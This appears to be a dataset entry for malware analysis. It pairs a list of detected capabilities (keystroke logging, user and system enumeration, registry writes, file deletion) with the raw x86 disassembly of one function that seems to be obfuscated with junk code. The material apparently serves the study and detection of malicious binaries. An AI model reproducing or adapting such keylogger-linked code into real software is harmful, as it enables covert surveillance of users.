Function at 0x10030a44
Capabilities:
Check os version
Create directory
Create process on windows
Delete directory
Delete file
Enumerate gui resources
Extract resource via kernel32 functions
Get common file path
Get disk information
Get file attributes
Get graphical window text
Get keyboard layout
Get session user name
Get system information on windows
Identify system language via api
Log keystrokes
Log keystrokes via polling
Read .ini file
Set registry value

Disassembly:
mov eax, 0x10080246
call fcn.1007ffd0
mov eax, 0x1154
call fcn.1007c780
push ebx
push esi
push edi
xor eax, eax
mov dword [ebp - 0x24], 0x667a876e
push 2
mov dword [ebp - 0x18], eax
pop ebx
mov byte [ebp - 0x75], dl
mov dword [ebp - 0x5c], ecx
cmp dword [ebp - 0x18], ebx
jge 0x10030a8d
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x530], 0
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jl 0x10030a75
xor eax, eax
xor edi, edi
inc edi
mov dword [ebp - 0x24], edi
cmp dword [ebp - 0x24], eax
jl 0x10030af9
mov dword [ebp - 0x28], 0x6887e0
xor ecx, ecx
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0x530]
cmp eax, 0xffffaf82
mov eax, dword [ebp - 0x24]
sete cl
xor edx, edx
test ecx, ecx
mov eax, dword [ebp + eax*4 - 0x530]
sets dl
xor ecx, ecx
test eax, eax
sete cl
cmp ecx, edx
jge 0x10030adb
mov dword [ebp - 0x28], 0xfff7
dec dword [ebp - 0x28]
jmp 0x10030af2
mov dword [ebp - 0x28], edi
xor eax, eax
cmp dword [ebp - 0x28], eax
jl 0x10030af2
cmp dword [ebp - 0x52c], eax
jne 0x10030af2
dec dword [ebp - 0x28]
jns 0x10030ae5
dec dword [ebp - 0x24]
jns 0x10030a98
xor eax, eax
mov dword [ebp - 0x30], eax
mov ecx, 0x2cb51dba
mov dword [ebp - 0x95c], ecx
mov edx, 0xffff
mov dword [ebp - 0x958], ecx
mov dword [ebp - 0x954], ecx
mov dword [ebp - 0x950], ecx
push 0xffffffffffffffff
mov dword [ebp - 0x50], 0x885c82f7
pop ecx
mov dword [ebp - 0x34], eax
push 3
mov dword [ebp - 0x34], 0xfffffff9
mov dword [ebp - 0x30], eax
pop esi
jmp 0x10030c36
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x28], 0x4c039ecf
mov dword [ebp - 0x3c], 0xf57440e7
mov dword [ebp - 0x34], 0xfffffffe
mov dword [ebp - 0x34], ecx
mov dword [ebp - 0x34], 0xfffffffe
mov dword [ebp - 0x34], 0x1fc53136
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], esi
jg 0x10030c33
mov dword [ebp - 0x2c], 0xd2086bd0
mov dword [ebp - 0x28], 0x868fdadf
mov dword [ebp - 0x34], 0x5c59c3f9
mov dword [ebp - 0x34], 0x6a687e91
mov dword [ebp - 0x34], 0x426ae69e
mov dword [ebp - 0x14], edx
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], esi
jg 0x10030c24
mov dword [ebp - 0x40], 0x17d0b0a3
mov dword [ebp - 0x50], 0x85bd
mov dword [ebp - 0x18], eax
jmp 0x10030bc8
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xbb0], 0xd0d42ad0
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jl 0x10030bb7
mov ecx, dword [ebp - 0x50]
xor edx, edx
mov eax, dword [ebp - 0x24]
cmp eax, ecx
setle dl
mov dword [ebp - 0x28], edx
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x2c]
mov ecx, dword [ebp + eax*4 - 0x95c]
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0x95c], ecx
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0xbac], edi
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x28]
xor eax, eax
mov dword [ebp - 0x50], eax
dec dword [ebp - 0x14]
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], esi
jle 0x10030ba4
mov edx, 0xffff
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], esi
jle 0x10030b72
or ecx, 0xffffffff
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], 8
jl 0x10030b3d
mov byte [ebp - 0x35], al
cmp byte [ebp - 0x35], 0
je 0x10030c51
call dword [sym.imp.USER32.dll_GetMessageTime]
xor eax, eax
mov dword [ebp - 0x44], 0x95364446
mov dword [ebp - 0x20], 0xb871c7bf
mov dword [ebp - 0x2c], edi
mov dword [ebp - 0x30], 8
mov dword [ebp - 0x59c], edi
mov dword [ebp - 0x598], edi
mov dword [ebp - 0x594], edi
mov dword [ebp - 0x590], edi
mov dword [ebp - 0x50], 0xfcd553b7
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], esi
jge 0x10030ca8
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x22c], 0x64a6847d
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], esi
jl 0x10030c90
xor eax, eax
mov dword [ebp - 0x20], eax
mov edx, 0xfffa
cmp dword [ebp - 0x20], ebx
jg 0x10030d5d
mov dword [ebp - 0x18], edi
xor ecx, ecx
mov dword [ebp - 0x24], 0xa4ccfd6
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp + eax*4 - 0x22c]
mov eax, dword [ebp - 0x22c]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp + eax*4 - 0x22c]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp + eax*4 - 0x22c]
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x24], esi
mov eax, dword [ebp - 0x228]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x20]
cmp eax, edx
mov eax, dword [ebp - 0x2c]
setne cl
xor edx, edx
cmp ecx, eax
mov ecx, dword [ebp - 0x228]
mov eax, dword [ebp - 0x20]
setle dl
mov dword [ebp + eax*4 - 0x22c], ecx
mov eax, dword [ebp - 0x20]
add eax, edx
mov edx, 0xfffa
add eax, ecx
imul eax, dword [ebp - 0x2c]
sub eax, dword [ebp - 0x18]
imul eax, dword [ebp - 0x18]
mov dword [ebp - 0x2c], eax
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], ebx
jle 0x10030cb9
xor eax, eax
cmp dword [ebp - 0x224], eax
je 0x10030d88
mov eax, dword [ebp - 0x20]
xor edx, edx
mov ecx, dword [ebp - 0x22c]
mov eax, dword [ebp - 0x2c]
cmp eax, ecx
setl dl
imul eax, edx, 0x16e1
test eax, eax
je 0x10030d86
mov ecx, edi
jmp 0x10030d8a
xor eax, eax
mov ecx, eax
mov eax, dword [ebp - 0x20]
sub eax, ecx
xor ecx, ecx
cmp eax, 0xf7fa
push 0xfffffffffffffffd
setl cl
sub ecx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x228]
sub ecx, eax
mov eax, dword [ebp - 0x30]
sub ecx, eax
xor eax, eax
cmp eax, ecx
sbb ecx, ecx
neg ecx
sub ecx, dword [ebp - 0x20]
neg ecx
sbb ecx, ecx
inc ecx
cmp ecx, 0x7342
mov ecx, dword [ebp - 0x2c]
setl al
sub ecx, eax
pop eax
push 0xfffffffffffffff8
pop esi
cmp ecx, 0x7fcf6239
jne 0x10030dea
mov dword [ebp - 0x50], 0x3ad33dc2
mov dword [ebp - 0x3c], esi
mov eax, dword [ebp - 0x50]
mov dword [ebp - 0x3c], eax
jmp 0x10030ec9
mov dword [ebp - 0x28], 0x59a1248f
mov dword [ebp - 0x28], 0x7f4763cd
mov dword [ebp - 0x28], eax
xor eax, eax
mov dword [ebp - 0x14], 0xb48eda29
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], ebx
jge 0x10030e24
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x414], 0x7b094c6
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jl 0x10030e0c
xor eax, eax
cmp dword [ebp - 0x410], eax
je 0x10030ec6
mov eax, dword [ebp - 0x590]
dec dword [ebp - 0x590]
test eax, eax
je 0x10030ec4
mov eax, dword [ebp - 0x50]
mov ecx, dword [ebp - 0x22c]
neg eax
sbb eax, eax
neg eax
imul ecx, eax
neg ecx
sbb ecx, ecx
neg ecx
mov dword [ebp - 0x28], ecx
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x28], eax
xor eax, eax
cmp dword [ebp - 0x28], eax
jne 0x10030e74
cmp dword [ebp - 0x410], eax
je 0x10030e76
mov eax, edi
mov dword [ebp - 0x28], eax
xor edx, edx
mov ecx, dword [ebp - 0x414]
mov eax, dword [ebp - 0x28]
cmp ecx, eax
setle dl
mov dword [ebp - 0x414], edx
mov eax, dword [ebp - 0x14]
lea ecx, [edx - 9]
xor edx, edx
cmp ecx, eax
setg dl
xor eax, eax
cmp edx, dword [ebp - 0x14]
jle 0x10030eaa
mov edx, edi
cmp dword [ebp - 0x30], eax
jne 0x10030eac
mov edx, eax
mov eax, dword [ebp - 0x59c]
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x2c]
setge cl
add eax, ecx
je 0x10030ec4
mov eax, edi
jmp 0x10030ec6
xor eax, eax
mov dword [ebp - 0x2c], eax
mov ebx, dword [sym.imp.USER32.dll_GetDesktopWindow]
or eax, 0xffffffff
mov dword [ebp - 0x24], 0x5bf25cbd
mov dword [ebp - 0x34], eax
xor eax, eax
mov byte [ebp - 0x35], al
cmp byte [ebp - 0x35], al
je 0x10030ef2
push eax
call ebx
push eax
call dword [sym.imp.USER32.dll_KillTimer]
xor eax, eax
mov byte [ebp - 0x35], al
cmp byte [ebp - 0x35], 0
je 0x10030f04
push eax
call dword [sym.imp.USER32.dll_CharUpperW]
xor eax, eax
mov dword [ebp - 0x3c], 0x2891ba8
or ecx, 0xffffffff
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x28], edi
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 2
jge 0x10030f39
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x85c], 0x3198a8f9
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 2
jl 0x10030f20
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], edi
jge 0x10030f59
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x3a0], 0
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edi
jl 0x10030f41
xor eax, eax
mov dword [ebp - 0x30], edi
cmp dword [ebp - 0x30], eax
jl 0x10030f84
mov dword [ebp - 0x34], 0x6dd8
mov dword [ebp - 0x34], 0xd00693e9
mov dword [ebp - 0x34], 0xfffffffc
mov dword [ebp - 0x34], ecx
dec dword [ebp - 0x3a0]
dec dword [ebp - 0x30]
jns 0x10030f61
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], eax
jl 0x10030fe8
mov byte [ebp - 0x35], al
cmp byte [ebp - 0x35], 0
je 0x10030fa7
push 0x233
push eax
push eax
call dword [sym.imp.KERNEL32.dll_QueryDosDeviceW]
xor eax, eax
or ecx, 0xffffffff
mov dword [ebp - 0x30], edi
cmp dword [ebp - 0x30], eax
jl 0x10030fe3
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], edi
jg 0x10030fde
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp + eax*4 - 0x85c]
mov eax, dword [ebp - 0x30]
add ecx, dword [ebp + eax*4 - 0x85c]
mov dword [ebp - 0x50], ecx
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], edi
jle 0x10030fba
xor eax, eax
or ecx, 0xffffffff
dec dword [ebp - 0x30]
jns 0x10030faf
dec dword [ebp - 0x28]
jns 0x10030f8c
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x14], 0x6c0e263
mov dword [ebp - 0x18], 0xb4983ca3
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0xc
jge 0x100311d5
jmp 0x1003100b
or ecx, 0xffffffff
mov dword [ebp - 0x30], 0xa12b57e8
mov dword [ebp - 0x14], 4
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 9
jne 0x100311c8
jmp 0x1003102b
or ecx, 0xffffffff
mov dword [ebp - 0x1c], 0xfffffff9
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x1c], 0xffffffe6
jmp 0x10031089
mov dword [ebp - 0x54], 0x2c9cc141
mov dword [ebp - 0x54], 9
cmp dword [ebp - 0x54], 0x11
jl 0x10031066
mov dword [ebp - 0x50], edi
mov eax, dword [ebp - 0x50]
mov dword [ebp - 0x2c], eax
inc dword [ebp - 0x54]
cmp dword [ebp - 0x54], 0x11
jge 0x10031052
xor eax, eax
mov dword [ebp - 0x54], eax
jmp 0x10031080
mov byte [ebp - 0x35], al
cmp byte [ebp - 0x35], 0
je 0x1003107d
push eax
call dword [sym.imp.USER32.dll_SetKeyboardState]
xor eax, eax
dec dword [ebp - 0x54]
cmp dword [ebp - 0x54], 0xfffffff4
jg 0x1003106b
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], eax
jle 0x1003103e
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x1c], eax
mov edx, dword [ebp - 0x1c]
add edx, 0x4adca19c
neg edx
sbb edx, edx
inc edx
sub edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x2c]
neg eax
sub ecx, eax
neg ecx
sbb ecx, ecx
inc ecx
cmp ecx, edx
jge 0x100310e8
xor eax, eax
mov byte [ebp - 0x35], al
cmp byte [ebp - 0x35], al
je 0x100311b8
push 0xda8
push eax
push 0x50c
call ebx
push eax
call dword [sym.imp.USER32.dll_GetDlgItemTextA]
jmp 0x100311b8
or eax, 0xffffffff
mov dword [ebp - 0x24], eax
xor eax, eax
mov dword [ebp - 0x28], 0xb0f4f2d8
mov dword [ebp - 0xaf0], eax
mov dword [ebp - 0xaec], eax
mov dword [ebp - 0xae8], eax
mov dword [ebp - 0xae4], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x28], eax
xor eax, eax
cmp dword [ebp - 0x28], eax
je 0x10031121
cmp dword [ebp - 0x18], eax
jne 0x10031126
cmp dword [ebp - 0x30], eax
je 0x10031128
mov eax, edi
neg eax
jne 0x10031133
xor eax, eax
cmp dword [ebp - 0x1c], eax
je 0x10031135
mov eax, edi
add eax, 8
xor edx, edx
imul eax, dword [ebp - 0x18]
imul ecx, eax, 0x5f7f
mov eax, dword [ebp - 0x24]
cmp ecx, eax
setg dl
imul edx, dword [ebp - 0x1c]
test edx, edx
jne 0x10031163
xor eax, eax
cmp dword [ebp - 0x24], eax
jne 0x10031163
cmp dword [ebp - 0x2c], eax
jne 0x10031163
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
dec eax
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x14], eax
xor eax, eax
cmp dword [ebp - 0x30], eax
jne 0x1003117f
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x20]
xor eax, eax
cmp dword [ebp - 0x1c], eax
jne 0x10031198
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x2c]
xor eax, eax
cmp dword [ebp - 0x24], eax
jle 0x100311a5
mov eax, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x28]
xor edx, edx
mov eax, dword [ebp - 0x24]
cmp eax, ecx
setge dl
mov dword [ebp - 0xae8], edx
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], 9
push 0
pop eax
je 0x10031028
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 0xc
jl 0x10031008
mov edi, dword [sym.imp.USER32.dll_ModifyMenuW]
mov dword [ebp - 0x24], esi
mov dword [ebp - 0x24], 0xfffffff9
jmp 0x10031229
cmp dword [ebp - 0x18], 4
jge 0x10031206
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xd54], 9
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 4
jl 0x100311ed
xor eax, eax
mov byte [ebp - 0x35], al
cmp byte [ebp - 0x35], 0
je 0x10031220
push eax
push eax
push 0x7ac
push 0x8c2
push eax
call edi
xor eax, eax
dec dword [ebp - 0xd50]
dec dword [ebp - 0x24]
cmp dword [ebp - 0x24], 0xffffffeb
mov dword [ebp - 0x18], eax
jne 0x100311e7
jmp 0x10031245
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x10bc], 0
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 3
jl 0x10031234
mov eax, dword [ebp - 0x44]
xor edx, edx
xor ecx, ecx
inc edx
cmp eax, edx
push 7
setl cl
xor eax, eax
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x24], eax
pop ecx
jmp 0x100312b0
mov dword [ebp - 0x50], 0xf13b01d9
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], 0x10
jg 0x100312ad
mov dword [ebp - 0x8ac], ecx
mov dword [ebp - 0x8a8], ecx
mov dword [ebp - 0x8a4], ecx
mov dword [ebp - 0x8a0], ecx
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x8a8]
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x8a8]
mov dword [ebp - 0x3c], edx
inc dword [ebp - 0x44]
cmp dword [ebp - 0x44], 0x10
jle 0x10031275
xor eax, eax
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 0x14
jle 0x10031265
mov dword [ebp - 0x34], 0x39e3cf95
mov dword [ebp - 0x24], 0xffffffff
push 0xfffffffffffffffd
pop ecx
mov dword [ebp - 0x34], ecx
mov dword [ebp - 0x34], 0xfffffffb
mov dword [ebp - 0x50], 0x1e6e2bf
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x50], 0xce1a812c
mov dword [ebp - 0x34], 0xe1a0e1c2
mov dword [ebp - 0x28], edx
mov dword [ebp - 0x3c], 0x1fdf20be
mov dword [ebp - 0x18], eax
jmp 0x10031309
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x758], 0xb59008cf
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 3
jl 0x100312f8
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x50]
sub ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x28]
neg ecx
sbb ecx, ecx
neg eax
inc ecx
dec dword [ebp - 0x28]
cmp eax, ecx
jge 0x1003132d
mov ecx, edx
jmp 0x10031331
xor eax, eax
mov ecx, eax
mov eax, dword [ebp - 0x758]
xor eax, eax
cmp ecx, edx
setg al
xor edx, edx
cmp eax, 0x61c0f806
setl dl
sub edx, dword [ebp - 0x758]
mov ecx, dword [ebp - 0x14]
neg edx
mov eax, dword [ebp - 0x754]
sbb edx, edx
inc edx
imul ecx, edx
dec ecx
neg ecx
sbb ecx, ecx
xor edx, edx
inc ecx
cmp ecx, eax
mov eax, dword [ebp - 0x758]
setg dl
xor ecx, ecx
cmp edx, eax
setl cl
mov dword [ebp - 0x24], ecx
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x50], eax
xor eax, eax
mov dword [ebp - 0x1c], 0xad313dd3
mov dword [ebp - 0x2c], 0x36378284
mov dword [ebp - 0x18], eax
jmp 0x100313a8
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x1088], 0xa62
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jl 0x10031397
mov dword [ebp - 0x1c], 0x18
cmp dword [ebp - 0x1c], 0xfffffffa
jle 0x100315c9
xor esi, esi
inc esi
mov dword [ebp - 0x20], 7
mov ecx, esi
mov dword [ebp - 0x24], 0x3a3dbc56
mov dword [ebp - 0x30], esi
mov dword [ebp - 0x28], 3
mov dword [ebp - 0x50], 0xfffffffe
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x1c]
sub ecx, eax
je 0x10031434
mov eax, dword [ebp - 0x24]
xor eax, eax
mov ecx, eax
cmp dword [ebp - 0x20], eax
je 0x100313fb
mov ecx, esi
mov eax, dword [ebp - 0x20]
sub eax, ecx
sub eax, dword [ebp - 0x1c]
cmp eax, 0x5062d7bc
jg 0x10031415
xor eax, eax
cmp dword [ebp - 0x1c], eax
je 0x10031417
mov edx, esi
jmp 0x10031419
xor eax, eax
mov edx, eax
mov eax, dword [ebp - 0x24]
xor ecx, ecx
cmp edx, eax
setle cl
xor eax, eax
imul ecx, dword [ebp - 0x30]
test ecx, ecx
je 0x10031436
cmp dword [ebp - 0x24], eax
jne 0x1003143b
jmp 0x10031436
xor eax, eax
cmp dword [ebp - 0x24], eax
je 0x1003147b
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], esi
jge 0x1003145b
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x568], 0
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], esi
jl 0x10031443
xor eax, eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], esi
jge 0x100314ef
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x568], esi
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], esi
jl 0x10031467
jmp 0x100314ed
mov dword [ebp - 0x18], eax
jmp 0x10031491
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x1f0], 5
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], esi
jl 0x10031480
mov eax, dword [ebp - 0x24]
xor eax, eax
cmp dword [ebp - 0x30], eax
je 0x100314a3
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x1c]
mov ecx, 0xd0b41ef3
mov eax, dword [ebp - 0x24]
xor edx, edx
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1f0]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x30]
sub ecx, eax
add ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1f0]
cmp ecx, eax
mov eax, dword [ebp - 0x2c]
setge dl
xor ecx, ecx
cmp eax, edx
setg cl
xor eax, eax
mov dword [ebp - 0x28], ecx
cmp dword [ebp - 0x1f0], eax
jne 0x100315c6
xor eax, eax
mov dword [ebp - 0x2c], 0xffffffee
jmp 0x100315af
mov dword [ebp - 0x14], 0xe743
mov dword [ebp - 0x20], eax
jmp 0x100315a3
mov dword [ebp - 0x18], 7
mov dword [ebp - 0x54], 0x61160dd4
cmp dword [ebp - 0x18], eax
jne 0x100315ac
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], esi
jg 0x100315a0
mov dword [ebp - 0x24], 0xaed5a0a0
or eax, 0xffffffff
mov dword [ebp - 0x28], eax
xor edx, edx
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x54], eax
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x28], eax
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x28]
cmp ecx, eax
mov esi, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
setle dl
sub esi, edx
neg esi
sbb esi, esi
xor edx, edx
inc esi
cmp eax, 0x995
setl dl
xor ecx, ecx
imul edx, dword [ebp - 0x54]
mov eax, dword [ebp - 0x14]
cmp edx, eax
setge cl
sub esi, ecx
neg esi
sbb esi, esi
xor edx, edx
inc esi
add esi, dword [ebp - 0x30]
neg esi
mov dword [ebp - 0x28], esi
mov ecx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x2c]
cmp ecx, eax
setle dl
xor esi, esi
mov dword [ebp - 0x50], edx
inc esi
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], esi
jle 0x10031529
xor eax, eax
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], esi
jle 0x1003150a
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 9
jge 0x100314fb
dec dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0xfffffffa
jg 0x100313c2
push 0xfffffffffffffff8
pop esi
mov dword [ebp - 0x44], 0x95364446
xor eax, eax
mov dword [ebp - 0x24], 0x667a876e
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 2
jge 0x100315fb
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x548], 0
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jl 0x100315e2
xor eax, eax
xor ecx, ecx
inc ecx
mov dword [ebp - 0x24], ecx
cmp dword [ebp - 0x24], eax
jl 0x1003166a
mov dword [ebp - 0x28], 0x6887e0
xor ecx, ecx
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0x548]
cmp eax, 0xffffaf82
mov eax, dword [ebp - 0x24]
sete cl
xor edx, edx
test ecx, ecx
mov eax, dword [ebp + eax*4 - 0x548]
sets dl
xor ecx, ecx
test eax, eax
sete cl
cmp ecx, edx
jge 0x10031649
mov dword [ebp - 0x28], 0xfff7
dec dword [ebp - 0x28]
jmp 0x10031663
xor eax, eax
inc eax
mov dword [ebp - 0x28], eax
xor eax, eax
cmp dword [ebp - 0x28], eax
jl 0x10031663
cmp dword [ebp - 0x544], eax
jne 0x10031663
dec dword [ebp - 0x28]
jns 0x10031656
dec dword [ebp - 0x24]
jns 0x10031606
xor eax, eax
mov dword [ebp - 0x18], 0x5bf25cbd
mov ecx, 0x2cb51dba
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x7c4], ecx
mov dword [ebp - 0x7c0], ecx
mov dword [ebp - 0x7bc], ecx
mov dword [ebp - 0x7b8], ecx
mov dword [ebp - 0x50], 0x885c82f7
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x34], 0xfffffff9
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 8
jge 0x100317c2
or ecx, 0xffffffff
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x28], 0x4c039ecf
mov dword [ebp - 0x3c], 0xf57440e7
mov dword [ebp - 0x34], 0xfffffffe
mov dword [ebp - 0x34], ecx
mov dword [ebp - 0x34], 0xfffffffe
mov dword [ebp - 0x34], 0x1fc53136
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 3
jg 0x100317b5
mov ecx, 0xffff
mov dword [ebp - 0x2c], 0xd2086bd0
mov dword [ebp - 0x28], 0x868fdadf
mov dword [ebp - 0x34], 0x5c59c3f9
mov dword [ebp - 0x34], 0x6a687e91
mov dword [ebp - 0x34], 0x426ae69e
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 3
jg 0x100317a5
mov dword [ebp - 0x40], 0x17d0b0a3
mov dword [ebp - 0x50], 0x85bd
mov dword [ebp - 0x18], eax
jmp 0x10031744
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xc5c], 0xd0d42ad0
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jl 0x10031733
mov ecx, dword [ebp - 0x50]
xor edx, edx
mov eax, dword [ebp - 0x24]
cmp eax, ecx
setle dl
mov dword [ebp - 0x28], edx
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x2c]
mov ecx, dword [ebp + eax*4 - 0x7c4]
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0x7c4], ecx
xor eax, eax
inc eax
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0xc58], eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x28]
xor eax, eax
mov dword [ebp - 0x50], eax
dec dword [ebp - 0x14]
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 3
jle 0x10031720
mov ecx, 0xffff
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 3
jle 0x100316ed
or ecx, 0xffffffff
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], 8
jl 0x100316b2
mov byte [ebp - 0x35], al
cmp byte [ebp - 0x35], 0
je 0x100317d3
call dword [sym.imp.USER32.dll_GetMessageTime]
xor eax, eax
mov dword [ebp - 0x50], 0x2891ba8
xor ecx, ecx
mov dword [ebp - 0x20], 0xb871c7bf
inc ecx
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x30], 8
mov dword [ebp - 0x5b0], ecx
mov dword [ebp - 0x5ac], ecx
mov dword [ebp - 0x5a8], ecx
mov dword [ebp - 0x5a4], ecx
mov dword [ebp - 0x50], 0xfcd553b7
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 3
jge 0x1003182f
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x168], 0x64a6847d
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 3
jl 0x10031816
xor eax, eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 2
jg 0x100318e8
mov dword [ebp - 0x18], ecx
mov edx, 0xfffa
